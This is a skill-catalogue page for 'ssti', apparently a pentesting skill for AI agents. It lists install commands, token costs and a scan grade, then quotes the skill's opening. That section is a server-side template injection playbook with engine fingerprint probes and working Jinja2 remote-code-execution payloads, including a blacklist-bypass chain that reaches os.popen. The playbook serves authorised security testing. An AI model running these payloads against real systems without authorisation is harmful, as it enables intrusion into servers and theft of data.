Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/pentesterflow/agent/sstinpx skills add PentesterFlow/agent --skill sstigit clone --depth 1 https://github.com/PentesterFlow/agentWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00099 | $0.01454 |
| Opus 5 | $0.00049 | $0.00727 |
| Sonnet 5 | $0.00020 | $0.00291 |
| Haiku 4.5 | $0.00010 | $0.00145 |
Grade A, and why
ssti scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured yesterday.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
Execution rule: send probes to the real reflected parameter or template sink before escalating. Never write literal placeholder values to files; if the sink is unknown, first discover it with `http`/curl. Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
Find an index where the subclass is `<class 'subprocess.Popen'>` (commonly 200–400). Then: How it starts
The opening of the file, as written. The whole thing — 164 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SSTI playbook
You suspect user input is concatenated into a server-side template. The classic tell: {{7*7}} renders as 49 (not as the literal). But that's only the start — to file a real bug you must identify the engine, then prove RCE or read sensitive state.
Execution rule: send probes to the real reflected parameter or template sink before escalating. Never write literal placeholder values to files; if the sink is unknown, first discover it with http/curl.
1. Fingerprint the engine — fast
Use read_payloads(skill="ssti", file="fingerprint-polyglot.txt") for the canonical multi-engine probe:
${7*7}
{{7*7}}
<%= 7*7 %>
*{7*7}
{{7*'7'}}
Cross-reference results:
| Render result | Engine |
|---|---|
49 from {{7*7}} AND 7777777 from {{7*'7'}} |
Jinja2 (Python) |
49 from {{7*7}} AND 49 from {{7*'7'}} |
Twig (PHP) |
49 from ${7*7} |
Velocity / Freemarker / Mako (probe further) |
49 from <%= 7*7 %> |
ERB (Ruby) / EJS (Node) |
49 from *{7*7} |
Smarty |
Output of {{7*7}} literally |
Not an SSTI primitive — look elsewhere |
Distinguish Velocity from Freemarker: ${"foo".getClass()} returns class java.lang.String for both; Freemarker chokes on <#assign> outside a template block; Velocity specifically renders #set($x=7*7)$x as 49.
2. Engine-specific exploitation
Jinja2 (Python, Flask)
{{ ''.__class__.__mro__[1].__subclasses__() }}
Find an index where the subclass is <class 'subprocess.Popen'> (commonly 200–400). Then:
{{ ''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True, stdout=-1).communicate() }}
Bypass blacklists with attribute proxies:
{{request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')()}}
Payloads: read_payloads(skill="ssti", file="jinja2.txt").
Twig (PHP, Symfony)
Twig blocks most function access. Two proven escapes:
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- yesterday First seen · 164 lines · 99 tokens per session scan A 38c951542aec
ssti is a skill published in the GitHub repository PentesterFlow/agent (1,316 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 99 tokens to every session and 1,454 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
osint
Drive extroosint with the right kind, feeds, pivots, and keys.
cwe
Exhaustively test a target against every applicable CWE.
penetration-testing
Run a scoped pentest with NmapIt, Burp, Metasploit, and a written report.
pwn-ai-agent-curriculum
Drive PWN::AI::Agent::Curriculum from pwneval.
pwn-ai-agent-loop
Drive PWN::AI::Agent::Loop from pwneval.
pwn-ai-agent-reward
Drive PWN::AI::Agent::Reward from pwneval.